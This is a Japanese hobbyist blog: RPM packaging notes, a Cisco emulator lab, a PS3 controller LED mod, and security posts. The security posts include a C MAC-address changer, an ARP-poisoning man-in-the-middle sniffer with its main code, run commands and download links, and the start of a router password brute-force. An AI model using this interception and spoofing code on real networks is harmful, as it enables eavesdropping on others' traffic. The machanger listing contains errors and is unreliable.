src.rpmからのrpmパッケージ作成手順

前回rpmパッケージの作成手順を紹介しました。

今回はsrc.rpmからのrpmパッケージの作成です。

ちなみに後々気づいたのですが、自分が行っていた方法はとってもオバカな方法でした。

なので、先に通常の方法を紹介いたします。

作成時に使用するsrc.rpmguymagerという、デジタルフォレンジックを行う時などに使用するHDDのダンプツールです。

DEFTLinuxなどに導入されています。それを、我が環境Fedora15へ入れてみようと思います。

 

 

通常方法

 

1.src.rpmをダウンロードしてきます

Fedora15用src.rpm ← ここからダウンロードします。(guymager-0.6.5-1.fc15.src.rpm

guymager以外にもいろいろなツールのsrc.rpmが置いてあります。

 

2.rpmパッケージ作成用ディレクトリ作成

前回の記事参照

パッケージ作成前手順と同じように5つのディレクトリを作成し、手順の用に作業用ディレクトリを指定する

 

3.src.rpm → rpm作成

rpmbuild --rebuild guymager-0.6.5-1.fc15.src.rpm

以上で手順で作成したディレクトRPMS/noach内にrpmパッケージが作成される。

その後は、通常通り「rpm -i *.rpm」コマンドでインストールする。

 

※作成時に、必要だけどインストールされていないライブラリなどがある場合はこのようにメッセージが出る。
エラー: ビルド依存性の失敗:
libewf-devel = 20100226 は guymager-0.6.5-1.fc15.i386 に必要とされています

これは個々にインストールする。yumやsrc.rpmからrpmパッケージを作ってインストールしたり。

 

 

かなり遠回りな作成方法

 

通常方法の手順は遠回りな方法と一緒です。

 

3.ダウンロードしてきたsrc.rpmパッケージを展開する

guymager-0.6.5-1.fc15.src.rpmを展開すると、guymager-0.6.5-1.fc15.srcディレクトリが作成される。中身は、


|-- guymager-0.6.5-patch-001.el5
|-- guymager-0.6.5-patch-001.el6
|-- guymager-0.6.5-patch-001.fc12
|-- guymager-0.6.5-patch-001.fc13
|-- guymager-0.6.5-patch-001.fc14
|-- guymager-0.6.5-patch-001.fc15
|-- guymager-0.6.5-patch-001.fc16
|-- guymager-0.6.5-patch-002
|-- guymager-0.6.5-patch-003
|-- guymager-0.6.5.tar.gz
`-- guymager.spec


この中で、specファイルtar.gzファイルは前回作成時に使ったファイルと同じであるので、見覚えのあるファイルである。
さっそくこの両ファイルを指定のディレクトリに格納する

  • guymager.spec       → SPECS
  • gyumager-0.6.5.tar.gz → SOURCES

 

4.格納したら、specファイルの内容を書き換える

BuildRootを書き換える。(自分の環境に合わせて)
BuildRoot: /home/kiyoto/kyonta/rpm/ROOT

 

BuildRequireの項目から指定されているようなライブラリが必要であるとわかる。
BuildRequires: qt4-devel
BuildRequires: openssl-static
BuildRequires: openssl-devel
BuildRequires: libewf-devel == 20100226

 

5.rpmbuildを行ってみる

とりあえず、ライブラリは必要になったらインストールすればいいので、rpmbuildをしてみる

 

パッチファイルがありません」と出る。
ソースファイルだけでなくパッチファイルもSOURCEディレクトリにいれてあげなければいけなかったらしいので、展開したときにあったファイル

patch-00*.*系を全部SOURCEディレクトリに放り込む。

 

さきほどのBuildRequiresで指定されているライブラリを全部インストールすれば、問題なくrpmパッケージを作成することができる。

上記yumでインストールできるものは、

BuildRequires: qt4-devel
BuildRequires: openssl-static
BuildRequires: openssl-devel

 

libewf-devel==20100226はサイト(ここから)からrpmパッケージをダウンロードしてきてインストールする。

yumでできるかもしれない…なぜかチャレンジはしていないが…。

 

guymagerインストールのイメージ。

 

 

このようにわざわざ自分で展開して配置してからコマンドを一個一個たたかなくても、一発で作成することができたらしい。

とりあえずは、ちょっとした勉強と、「へぇーこうなってるんだぁ…」的な気分が味わえるぐらいでした。

RPMパッケージ作成

RPMパッケージ作成時のメモ。

RPMパッケージとは、RedHad系のLinuxで使用することができるパッケージです。

rpm -i xxx.xxx.rpmのように簡単にインストールをすることができます。

パッケージのインストールやアンインストールが簡単に扱えるようになります。

 

パッケージ作成前手順:

 

1.rpm作業用ディレクトリを作成する

任意のディレクトリにrpm作業用のディレクトリを作成します。

自分の例では、/home/kiyoto/rpmです。

そのまんま自分のホームディレクトリにrpmディレクトリを作成しています。

mkdir /home/kiyoto/rpm

 

2.先ほど作成した作業用ディレクトリ配下に5つのディレクトリを作成する

先ほど作成したディレクトリ(rpm)配下に以下のディレクトリを作成します。

 

  • SOURCES (ソースファイル格納用ディレクトリ。tarボール)
  • SPECS    (SPECファイル格納用ディレクトリ)
  • BUILD     (RPMパッケージ作成時の作業用ディレクトリ。ソース展開など)
  • ・RPMS     (完成したRPMパッケージ格納用ディレクトリ)
  • ・SRPMS    (src.rpmパッケージ格納用ディレクトリ)

 

3.RPMSディレクトリ配下にi386ディレクトリを作成する

 

 

4.パッケージを作成するための作業用ディレクトリ指定する

ホームディレクトリに .rpmmacros ファイルを作成し、先ほどの1.で作成した作業用ディレクトリを指定する

vi .rpmmacros 
%_topdir /home/kiyoto/rpm

 

5.SOURCESディレクトリに作成したソースファイル(tar.gz)を格納する

以下のファイルを用意し、tarボールにまとめる。

 

  • ソースファイル(今回の例では、sniffy.c sniffy.h などなど...)
  • makeファイル(make)
  • 自分は最初makeファイルなどなくてもいいのかと思い、ソールファイルのみをtarボールに格納してしまい、作成中にエラーが出ました。

 

tarボールにまとめる時に、ファイル名(tarボール)の命名規則があるので、以下のような規則に従う。

 

<パッケージ名>-<バージョン番号>.<リリース番号>

 

自分の例(sniffyを作ったとき)では「sniffy-1.0.tar.gz」という感じになる。

sniffy-1.0のようなディレクトリを作成し、そのディレクトリ内にソースファイル・makeファイルを格納し、「圧縮」する。

makeファイルの作成方法は別途他のサイトを参照。

 

6.SPECファイル作成

SPECファイルを作成し、SPECSディレクトリに格納する。

このSPECファイルが結構重要なファイルなのだが、いろんな項目があるのでめんどうなところ。バージョンの違いによっても結構違うらしい…

複数のサイトを参照しながら一個一個書いていくのがわかりやすいかも。既存のSPECファイルを参照するのもOK

以下の例は必要最低限をまとめたような簡単な例です(rpmパッケージ化することだけを考えた結果のspecファイル)

name: sniffy
Version: 1.0
Release: 0
License: GPL2
Group: Utilities
Source: sniffy-1.0.tar.gz
Summary: packet sniffer
Packager: kiyoto akiyama
Distribution: Fedora
BuildRoot: /home/kiyoto/kyonta/rpm/ROOT
%description
sniffy-1.0
%prep
rm -rf $RPM_BUILD_ROOT/*
mkdir -p $RPM_BUILD_ROOT/usr/local/{bin,man/man1}
%setup
%build
make
%install
install -s sniffy $RPM_BUILD_ROOT/usr/local/bin
%files
%attr(-, root, root) /usr/local/bin/sniffy

 

  • name:作成するパッケージ名。上記でtarボールにまとめた時のパッケージ名と同一でなければならない。
  • version:パッケージのバージョン。任意
  • Release:パッケージのリリース番号。任意
  • License:ライセンス。
  • Source:上記で作成したtarボールのファイル名
  • Summary:作成するパッケージ名の概要
  • Packager:作成者情報
  • Distribution:Linuxのディストリビューション
  • BuildRoot:ちょっとわからない。反映されてるかもナゾな項目だった。
  • %description:パッケージの説明。長文でもOK
  • %prep:rpmパッケージ作成時の前処理
  • ※例では、ビルドルートを削除し、ビルドルート上に、bin,manディレクトリを作成している。
  • %setup:ソースファイルを展開後の処理
  • %build:configureやmakeなどのビルド処理
  • %install:インストール処理
  • %files:パッケージに含まれるファイルリストのリスト

 

 

jパッケージ作成手順:

rootユーザでやらず、一般ユーザで以下を行う。一般ユーザでやらないと何かあったときに取り返しのつかないことになるらしい。

 

$rpmbuild -bp sniffy.spec

$rpmbuild -bc sniffy.spec

$rpmbuild -bi --define="__check_files %{nil}" sniffy.spec

$rpmbuild -bl --define="__check_files %{nil}" sniffy.spec

$rpmbuild -bb --define="__check_files %{nil}" sniffy.spec

 

※3回目の段階から出てくる--define="__check_files %{nil}"は、作成中に「インストール済み(ただし未伸張)ファイルが見つかりました

的なメッセージが出た場合に、指定すると問題なく続行させることができる。

 

以上でRPMS/i386ディレクトリに、rpmパッケージが作成されている。

-bpなどで、段階的に作成していくため、エラーが出たらそれを修正しながら行っていけばしっかり作成される。

エラーの内容もしっかり読み、わからない所はgoogleで調べるなどすれば、解決できると思います。

今回はとりあえずパッケージ化することに重点を置いたため、内容が適当かもしれません。

詳しい設定などは、他のサイトで詳細に説明されているため省きます。(自分が詳しく知りません)

 

参照URL:

RPMパッケージ作成メモ

インストール済み(ただし未伸張)ファイルが見つかりました

簡単なRPMの作り方

RPMパッケージ作成

ifreq構造体によるMACアドレスの変更

arp_poisoningのソースを読み返しているときに、ifreq構造体を使ってMACアドレスを設定できることを思い出した。

なので、任意のMACアドレスに設定できるプログラムを作ることにした。

MACアドレスを設定するには、SIOCGIFFLAGSをioctlで指定する、取得するには、SIOCGIFLAGSを指定する。

その後、ifr.ifr_hwaddr.sa_data[i]を使い、設定や取得を行う。

確認動作環境:fedora15,13

 

 

ifreq構造体 

struct ifreq {
char ifr_name[IFNAMSIZ]; /* Interface name */
union {
struct sockaddr ifr_addr;
struct sockaddr ifr_dstaddr;
struct sockaddr ifr_broadaddr;
struct sockaddr ifr_netmask;
struct sockaddr ifr_hwaddr;
short ifr_flags;
int ifr_ifindex;
int ifr_metric;
int ifr_mtu;
struct ifmap ifr_map;
char ifr_slave[IFNAMSIZ];
char ifr_newname[IFNAMSIZ];
char *ifr_data;
};
};

struct ifconf {
int ifc_len; /* size of buffer */
union {
char *ifc_buf; /* buffer address */
struct ifreq *ifc_req; /* array of structures */
};
};

 

machanger.c

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <net/if.h>
#include <net/if_arp.h>
int main(int argc, char **argv)
{ // 引数チェック
if(argc != 3){
printf("machanger <interface> <address>\n");
return 0;
}
int fd; // ソケットディスクリプション
struct ifreq ifr; // MACアドレス構造体
char *tp;
int i,t,tmp;
char *device = argv[1];
char *str = argv[2];
i = 0;
// ソケットオープン
fd = socket(AF_INET, SOCK_DGRAM, 0); /* デバイスを変更 */
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_flags &= ~IFF_UP;

// 先頭MACアドレスのポインタ格納
tp = strtok(str,":");
ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER; // 指定されたMACアドレスを16進数変換する
while(tp != NULL){
for(t=0;t<2;t++){
switch (tp[t]){
case '0': if(t==1){tmp+=0x0;}else{tmp=0x0;}break;
case '1': if(t==1){tmp+=0x1;}else{tmp=0x1;}break;
case '2': if(t==1){tmp+=0x2;}else{tmp=0x2;}break;
case '3': if(t==1){tmp+=0x3;}else{tmp=0x3;}break;
case '4': if(t==1){tmp+=0x4;}else{tmp=0x4;}break;
case '5': if(t==1){tmp+=0x5;}else{tmp=0x5;}break;
case '6': if(t==1){tmp+=0x6;}else{tmp=0x6;}break;
case '7': if(t==1){tmp+=0x7;}else{tmp=0x7;}break;
case '8': if(t==1){tmp+=0x8;}else{tmp=0x8;}break;
case '9': if(t==1){tmp+=0x9;}else{tmp=0x9;}break;
case 'a': if(t==1){tmp+=0xa;}else{tmp=0xa;}break;
case 'b': if(t==1){tmp+=0xb;}else{tmp=0xb;}break;
case 'c': if(t==1){tmp+=0xc;}else{tmp=0xc;}break;
case 'd': if(t==1){tmp+=0xd;}else{tmp=0xd;}break;
case 'e': if(t==1){tmp+=0xe;}else{tmp=0xe;}break;
case 'f': if(t==1){tmp+=0xf;}else{tmp=0xf;}break;
} if(t==0){
tmp = tmp << 4;
}
}
// 1バイトMACアドレス格納
ifr.ifr_hwaddr.sa_data[i] = tmp;
tp = strtok(NULL,":");
i+=1;
}
if (ioctl(fd, SIOCSIFHWADDR, &ifr) != 0) {
perror("");
}
} close(fd);
return 0;
}

 

実行方法

# machanger eth0 aa:bb:cc:dd:ee:ff

 

RPMパッケージ

 

machanger-1.0-0.i386.rpm

 

ソース

 

machanger-1.0.tar.gz

Arp_Poisoningによるパケットスニッファ -sniffy-

今回も結構前に作ったツールですが、メモと復習のため掲載します。

今回のツールはLinux上で起動するパケットスニファです。

windowsでなら「Cain&avel」などがツールとしてあります。このツールは高性能です。

Linux用は多分なかったような気がします。

 

スニッファツールを作るときに使用した言語としては、C言語です。

作った経緯としては、Cain&avelを使っていて、自分でもこんな感じの作れるかなぁ?

って感じで作りました(Cain&avelはもっと多機能です)。実装している機能としては本当に単純で、

ただたんに、対象ホストのパケットを自分経由で通信させるだけです。

使い方敵には、リモートホストにパケットスニッファツールなどをインストールしなくても、1台のPCで監視ができるとか?

通信傍受?本当はパケット通信時のURL抜出から、あるサイトにアクセスしたら別のIPアドレス返したり、

パケットフィルタリング を実装したりしたかったのだが、そのままやらずに終わってしまいました。

 

イメージ掲載

 

スニファを作るときに使用した技術?テクニックとしては、arp poisoning(アープポイゾニング)という手法を使用しました。

これは、対象ホストにarpパケットを送信してarpテーブルを書き換えるという方法です。

arpの仕組みはとても単純で、送られてきたarp_responseパケットを何の疑いもなく信用し、自分のarpテーブルを書き換えてしまいます。

下にarpヘッダの構造体を示していますが、tcpなどに比べて項目がとても少ないことがわかると思います。

ethernetはもっと少ないです…。

下の画像は「arp -a」で表示させたarpテーブルです

 

 

 

簡単な説明として、192.168.2.1宛てのパケットはMACアドレスが00:24:a5:b9:90:19のPCに送信します。

ローカルネットワーク内において、次に送信すべき対象のMACアドレスが、ethrnetフレームに指定されています。

IPアドレスだけじゃ駄目なの?」とか、「なんでMACアドレスが必要なの?」という方は、調べてみてください(投げる)

一応簡単に説明すると、IPアドレスというのは最終的な到着先です。

MACアドレスは、次にパケットを投げる対象のマシンを示します。

 

上記のことを踏まえると、MACアドレスを書き換えることができれば、次にパケットを投げる対象のマシンを自分の好きなマシンを指定させることができます。

上記の例で、arpテーブルの192.168.2.1のMACアドレスを40:30:04:ee:f4:faに変更できれば、192.169.2.1、192.168.2.20宛てのパケットは、40:30:04:ee:f4:faをMACアドレスとするPCに送られることになります。

 

そして何度も書くように、arpテーブルのMACアドレスはarp_responseパケットを対象ホストに投げるだけで簡単に書き換えることができます

 

arpポイゾニングの防ぎ方はとても簡単です。

通信するホストのIPとMACを静的に設定するだけです。

arpテーブルはルーティングテーブルなどと同じように、動的な決定より静的なルートの方を優先するからです。(一番確実)

それか、専用の監視ツールを導入すればいいだけです

 

パケットスニッファの流れ

 

1.対象ホスト(2台)のIPアドレスを調べます

今回は家庭内のLANなので、IPアドレスは最初から知っています。

 

2.対象ホストのarpテーブルを書き換えるために、arp_responseパケットを両ホストに送信します

今回の例では対象ホストA・Bだとします。

ホストAには、ホストBのMACアドレスは自分のMACアドレスだという情報を送ります。

ホストBにも、ホストAのMACアドレスは自分のMACアドレスだという情報を送ります。

すると、両ホストが互いに通信をする時、パケットは全部自分のPCに届くことになります。

 

3.受信したパケットのMACアドレスを書き換え、正しいホストにパケットを送信する

しかし、このままでは自分にパケットが送られてくるだけで、そのパケットは止まってしまうので通信が成立しません。

なので、受信したパケットのMACアドレスを書き換えて本来送るべきだった対象のPCのMACアドレスに書き換えて送信しなおします。

ホストAから受信したパケットの送信元(source)MACアドレスを自分のMACアドレスに書き換える。

ホストBから受信したパケットも送信元(source)MACアドレスを自分のMACアドレスに書き換える。

このようにする事で、両ホストから受信したパケットは自分のPCを経由してお互いに通信することになります。

 

イメージ掲載予定.................

 

 

プログラム詳細

 

・通信時使用する各ヘッダ

 

対象ホストのip、macアドレス情報格納用

// 対象ホストのmac_addr/ip_addr情報保持
struct host_info {
u_char eth_addr[ETH_ALEN];
unsigned char ip_addr[IP_ALEN];
};

ethernetヘッダ

/* Ethernet Header */
struct ethernet_hdr {
u_char ether_dhost[ETH_ALEN];
u_char ether_shost[ETH_ALEN];
u_short ether_type;
};

ipヘッダ

/* IP Header */
struct ip_hdr {
u_char ip_vhl; /* version << 4 | header length >> 2 */
u_char ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src,ip_dst; /* source and dest address */
};
#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
#define IP_V(ip) (((ip)->ip_vhl) >> 4)

arpヘッダ

/* ARP Header */
struct arp_hdr
{
u_short hw_type;
u_short proto_type;
char ha_len;
char pa_len;
u_short opcode;
unsigned char source_add[ETH_ALEN];
unsigned char source_ip[IP_ALEN];
unsigned char dest_add[ETH_ALEN];
unsigned char dest_ip[IP_ALEN];
};

tcpヘッダ

/* TCP Header */
struct tcp_hdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgement number */
u_char th_offx2; /* data offset, rsvd */
#define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
u_char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PUSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
#define TH_ECE 0x40
#define TH_CWR 0x80
#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
u_short th_win; /* window */
u_short th_sum; /* checksum */
u_short th_urp; /* urgent pointer */
};

udpヘッダ

/* UDP Header */
struct udp_hdr {
u_short uh_sport;
u_short uh_dport;
u_short uh_leng;
u_short uh_sum;
};

 

mainプログラムの詳細

 

細かい説明は省きます。

main関数の大まかな流れです。赤文字になっているところは、自作関数なので、気になる方はプログラムを見てください。

 main.c

#include "function.h"
/*
* 使い方
* ./a.out  (device)  (host_1)  (host_2)
* 終了の仕方
* 1を入力してEnterを押すと終了する
*/
int main (int argc, char **argv) {

char *host1_ip_addr,*host2_ip_addr;
char *device;
pid_t arp_pid,relay_pid;
int status;
int command;
char host1_buff[sizeof(struct host_info)];
char host2_buff[sizeof(struct host_info)];
struct host_info *host1_eth_addr = (struct host_info*)host1_buff;
struct host_info *host2_eth_addr = (struct host_info*)host2_buff;

// 引数チェック
if(argc != 4){
printf("argv Error.\n");
printf("./a.out \n");
return 0;
}

// 値設定
device = argv[1];
host1_ip_addr = argv[2];
host2_ip_addr = argv[3];

// 対象ホストのMACアドレス取得
search_mac_address(host1_ip_addr,device,host1_eth_addr);

search_mac_address(host2_ip_addr,device,host2_eth_addr);

// 取得したMACアドレス表示 (aa:bb:cc:dd:ee:ff)
// MACアドレスに対応するIP表示 (192.168.2.1)
printf("%s\n",ether_ntoa(host1_eth_addr->eth_addr));
printf("%s\n",inet_ntoa(*(struct in_addr*)&host1_eth_addr->ip_addr));
printf("%s\n",ether_ntoa(host2_eth_addr->eth_addr));
printf("%s\n",inet_ntoa(*(struct in_addr*)&host2_eth_addr->ip_addr));
// 対象ホストのarpテーブルを汚すためのarpポイゾニング用のプロセス起動
arp_pid = fork();
// fork error
if (arp_pid < 0){
printf("fork error [arp_pid]\n");
exit(1);
}
// start arp_poisoning process
if (arp_pid == 0){
printf("Start arp poisoning!!\n");
arp_poisoning(host1_eth_addr,host2_eth_addr,device);
}
// parent process (main process)
else{
// パケットリレー用プロセス起動
relay_pid = fork();
if (relay_pid == 0){
while(1){
printf("Start Packet relay..\n");
sleep(1);
packet_relay(device,host1_eth_addr,host2_eth_addr);
}
}
// parent process.
else{
// 終了コマンド入力待ち1で終了
while(1){
scanf("%d",&command);
if(command==1){
// arp_process,relay_process KILL
kill(arp_pid,SIGINT);
kill(relay_pid,SIGINT);
// 対象ホストのarpテーブルを元に戻す
arp_table_restore(device,host1_eth_addr,host2_eth_addr);
break;
}
}
}
}
printf("Exit arp_poisoning..\n");
return 0;
}

 

1.与えられた対象ホスト(2台)のIPアドレスを元に対象ホストのMACアドレスを調べます

arp_requestパケットを攻撃者PCで作成し、対象ホストに送信します。

受信したarp_responseパケットの内容を元に対象ホストのMACアドレスを保存します。

上記プログラム上のsearch_mac_address(host1_ip_addr,device,host1_eth_addr);を使用する。

host_info構造体のeth_addrに対象ホストから得たMACアドレスを保存しておきます。

 

2.自分のMACアドレスを取得し、MACアドレス情報を保持

arp_poisoning(host1_eth_addr,host2_eth_addr,device);関数の中で、

自分のMACアドレスを調べる関数、get_my_mac(device,my_mac_addr_str);を呼び出し、

MACアドレスを保存している。

 

3.arp_poisoningを行うため、対象である両ホストに向けarp_responseパケットを送信する

arpテーブルは何十秒かおきにリフレッシュされるので、攻撃者は任意の時間を設定し、常にarp_responseパケットを送信し、

arpテーブルを更新する。

arp_poisoning(host1_eth_addr,host2_eth_addr,device)関数を別のプロセスで起動し、mainプログラムと一緒に走らせる。

※ソケットのが効率がよさそうですが、プロセスを生成してしまっています。

 

4.受信したパケットの送信元MACアドレスを自分のMACアドレスに書き換えて再送信する

受信したパケットを各ヘッダ毎に構造体に割り当て、ethernetヘッダの送信元MACアドレスを2.で取得した自分のMACアドレスに書き換え、

再送信する。

packet_relay(device,host1_eth_addr,host2_eth_addr);関数を呼び出しパケットの転送処理をする

 

5.終了コマンドが入力されたらarpテーブルを元に戻す

終了コマンドが入力されたら、正しいarp_responseパケットを生成し、両ホストに送信する

この処理がないと、攻撃者がスニッファを終了したとき、両ホストのarpテーブルが間違った情報のままなので、

両ホストのパケット通信が途切れてしまう。

arp_table_restore(device,host1_eth_addr,host2_eth_addr)を実行し、arpテーブルを元に戻す。

 

 

 

ソースファイル使用時の環境設定&実行:

 

1.「libpcap」をインストールする

yum install libpcap-devel

2.gccコンパイルする時にlibpcapを指定する

gcc -o sniffy -lpcap *.c *.h

3.生成された実行ファイルに引数を与え実行する

./sniffy wlan0 192.168.2.1 192.168.2.20

※ 実行ファイル名 <デバイス> <ホスト1> <ホスト2>

※ Fedora15でコンパイル(gcc4.6,libpcap1.1.1)し、実行するとうまくいかない。Fedora13(gcc4.4,libpcap1.0.0)でコンパイル・実行はうまくできる。

 

RPMパッケージ:

 

sniffy-1.0-0.i386.rpm ←クリックしてダウンロードできます。

#rpm -i sniffy-1.0-0.i386.rpm

#sniffy <device> <host1> <host2>

 

ソースコード

 

sniffy-1.0.tar.gz  ← クリックしてダウンロードできます。

 

sniffy-1.0.tar.gzに含まれるファイル:

・fuction.h ヘッダーファイル 各パケットのヘッダなどが定義されている
・main.c メインファイル
・function.c 複数の関数が入っている
arp_poisoning.c ポイゾニング関数と終了時にMACアドレスを元に戻す関数が含まれる
・packet_replay.c ポイゾニング中の両ホストのパケットの中身を入れ替えて中継する

ルーティングプロトコル実験

ふと本棚を見ると今まで勉強してきた本達がズラっと並んでいる。

その中から久しぶりにルーティングプロトコルについての本を読み返してみた。

昔は読むだけでなんとなく理解した気になっていたが、ルーティングプロトコルの種類と名前と挙動など、

なんとなくしか覚えていないことに気づきました。

なので、実際にネットワークを構築してその中でルーティングプロトコルを動かして実験してみては楽しいのではないか?と思い、

仮想的にネットワークを構築して実験してみることにしました。

その際のメモです。

 

構築するに当たって用意するもの:

CISCOIOSのイメージファイル(例:c7200-jk9s-mz.124-13b.bin

dynagen-dynamips(例:dynagen-0.10.0_dynamips-0.8.0-RC1_Win_XP_setup.exe

winpcap(例:WinPcap_4_1_beta5.exe(古い、最新のものをインストールしてください…))

上記の3つです。下の2つはインターネットから拾ってこれますが、CISCOのIOSイメージファイルだけは別個用意してください。

 

準備:

 

1.dynagenをインストールする

※インストールが完了すると、デスクトップ上に「Networkdevice list」「Dynamips Server」「Dynagen Sample Labs」が作成される

 

2.winpcapがインストールされていない人はwinpcapもインストールする

 

3.IOSC:/programfiles/dynamips/imagesフォルダに入れる(dynamipsがインストールされているディレクトリ)

 

4.Dynamips sample_labs¥simple1フォルダのsimple1.netテキストエディタで開き編集する

行頭から6行目の「image」行をIOSイメージの格納されているディレクトリ名¥IOSイメージ名に書き直す

(変更前)image = \Program Files\Dynamips\images\c7200-jk9o3s-mz.124-7a.image

(変更後)image = C:\Program Files\Dynamips\images\c7200-jk9s-mz.124-13b.bin

 

5.デスクトップ上にある「Dynamips Server」を起動する

 

6.続いて先ほど編集したDynagen/simple/simple1.netを起動させる

 

7.=>が表示されて起動したら、telnet R1を入力する

※設定ファイルで定義されているルータの名前がR1なので、telnetコマンドでR1に接続をしている

 

8.Would you like to enter the initial configuration dialog? [yes/no]: が表示されたらnoを選択

 

9.Router>が表示され、起動が完了する。後は、CISCOのルータ操作を実行すればいい

 

 

設定ファイル(simple1.net):

このファイルを書き換えることにより、ルータの数を増やしたり、設定を変更することができる。

#Simple lab
[localhost]
7200
image = C:\Program Files\Dynamips\images\c7200-jk9s-mz.124-13b.bin
#On Linux / Unix use forward slashes:
#image = /opt/7200-images/c7200-jk903s-mz.124-7a.image
npe = npe-400
ram = 160 

ROUTER R1
s1/0 = R2 s1/0 

router R2
# No need to specify an adapter here, it is taken care of
# by the interface specification under Router R1

初期段階での設定は、R1のシリアルポート1/0とR2のシリアルポート1/0が接続されている。

DUALSHOCK3 LED組み込み

前記事(PS3 コントローラー改造 LEDを組み込む)PS3のコントローラーを改造してから数日…

遂にジョイスティックの取り外しに成功しました。

 

ジョイスティック取り外し編(準備中)→

 

しかし、残念なことにジョイスティックを移植する事はできたものの、よく解らない動作をしてしまい、

事実上の失敗に終わってしまいました。

コントローラーのないPS3などただのDVDPlayerと一緒なので、急遽新しいコントローラーを購入しました。

購入した翌日、新型コントローラーを改造・分解してみたくなり、中を開いてしまいました。

そのままLEDの付け替えです。

 

解体編    →

LED付け替え編→

組み立て編  →

 

ちなみに購入したコントローラーの型番は以下の通り。

 

CECHZC2J  DUALSHOCK3

 

前持っていたコントローラーの型番は、

 

CECHZC1J  SIXAXIS

 

この2つのコントローラーの違いは、

・中の基盤が全く違う
・RL12ボタンの間の仕切りがなくなり、後ろのケースにはRL2ボタンを通す穴が用意されている(組み立て簡単)
・PSボタンの所に穴がなくなり、PSボタンを光らせるためには少々手間がいりそう
・センサーシートが差し込み式ではなく、触れるだけのような仕様に変わっていた(説明しづらい)
・振動機能 有り/無し 重量etc...

と、似た目では解ったり解らなかったりするような違いが何か所かありました。

中でもPSボタンの所は少々残念な感じの作りになっていました。

 

今回はジョイスティックの取り外しなどの必要もないので、コントローラーの1/2/3/4Pを表示している部分のチップLEDを付け替えました。先に完成写真を出してしまうと、このような感じです。1/2/3/4Pの部分。

 

 

では、こっから必要な材料や道具を紹介していきます。

 道具: 

はんだごて * 2 (HAKO PRESTO NO.984-1

ピンセット * 1

 

 材料: 

チップLED * 1 (青・緑・黄)

チップLEDは秋月電子で購入できます。20個入りで200円。送料のが高くつきます。

チップLEDのサイズは1608(1.6 * 0.8mm)です。購入したチップLEDのPART NO.は下記の通りです。

・[OSYG1608C1A]  - 黄緑

・[OSBL1608C1A]  - 

・[OSYL1608C1A]  - 

 

 

 

    解体手順:

さっそく解体してみましょう。

SIXAXISの解体や組み立て手順はこちら(リンク

 

1.後ろのねじを5本外す。

前型番CECHZC2Jと同じく後ろのねじを5本外します。

ねじ穴をつぶさないように、サイズの合ったドライバーを選びます。

 

ジョイスティックの間に付いているツメに注意しながら、全体を少しずつ剥がしていき(後ろのふた)下のツメのついているほうから外し、最後にRL2ボタンをくぐらせるような感じで外していく。

 

2.電池パックを取り外す

電池パックはSIXAXISとは違い、電池パックを支えるパーツがなくなり、電池パック自体にツメが付いています

電池パックを右か左に少し押しながら、片方を外すような感じでツメを外し、取り外す。

取り外したら、コードの部分を引っ張って基盤から電池パックを取り外します。

赤丸の部分が問題のツメです。

 

3.基盤を取り外スためにねじを取り外す

SIXAXISと特に変わりはありません。

 

4.左右のモータのツメを外す

赤矢印のある部分を両サイド内側に押すとツメが取れる、少しモーターが浮いてくる感じ。

 

5.基盤を外枠から取り外す

 

6.センサシートを取り外す

DUALSHOCK3はセンサシートが差し込み式ではなくなっているので、上記の写真の赤丸部分2か所をツメから外し

青丸で囲ってある部分は裏側で棒に引っかかっているだけなので、基盤とシートを支える台を少し浮かして取る。

下写真の赤丸の部分が棒で引っかかっている部分。

写真の通り、信号が出る部分は、複数の四角がある部分が基盤に触れるだけの仕様になっている。

組み立てるとき大丈夫かな?と思うが、棒に通せばずれないようになっているので、問題はない。

 

 

    チップLEDを付け変える:

こっからは、1/2/3/4Pを表示しているLEDの部分を付け替えます。

先ほど用意した道具をここで使用します。

 

1.チップLEDの両サイドのはんだの部分を温める

 

2.温め、熱が伝わっているのが確認できたら、はんだこてを2本使ってチップLEDを飛ばすように取る

 

3.新しいチップLEDをはんだの上に配置し、片方を溶かして固定したらピンセットで反対側を少し押しながらもう一方も溶かして固定させる

 

文章では分かりずらいと思うし、うまく説明できないので動画で確かめてください。

他のサイトでも探せばあると思うので、探してみてください。

これは、かなり適当にやっているけど、実際はもっと慎重にやってください。

基盤はSIXAXISのものですが、DUALSHOCK3のものとこの部分はあまり変化ないので一緒です。

このページのコンテンツには、Adobe Flash Player の最新バージョンが必要です。

Adobe Flash Player を取得

 

完成した動画が以下です。

このページのコンテンツには、Adobe Flash Player の最新バージョンが必要です。

Adobe Flash Player を取得

 

 

    組み立て:

 

1.センサシートを裏からつけ、表の部分もツメに引っかけ、基盤に戻す

 

2.外枠に基盤を戻し、モーターの部分をカチッとするまではめ、ねじを留めたらふたを閉め完成です

忘れずに電池パックなども戻してください。

 

SIXAXISに比べてDUALSHOCK3の方が分解が簡単です。

しかし、振動を出すためのモーターが白い枠から取り外すことができず(両面テープで固定されてる)

基盤のみの状態にするには、はんだを溶かしたりする手間がかかります。

SIXAXISの方がなんとなく愛着がわく仕様でした。

ブルートフォースアタック 自作 and medusa

結構前の内容なのですがメモのため残しておきます。

今回はpythonでルータの「root」ユーザのパスワードをクラックしてみます。

 

テスト環境はもちろん自宅のルータです。

設定されているパスワードは3桁。一瞬でクラックされそうな鍵の長さです。

パスワードなしよりは、まだましな程度でしょうか?

 

ルータはBUFFALO WHR-G301Nです。

Basic認証のGETのタイプです。

 

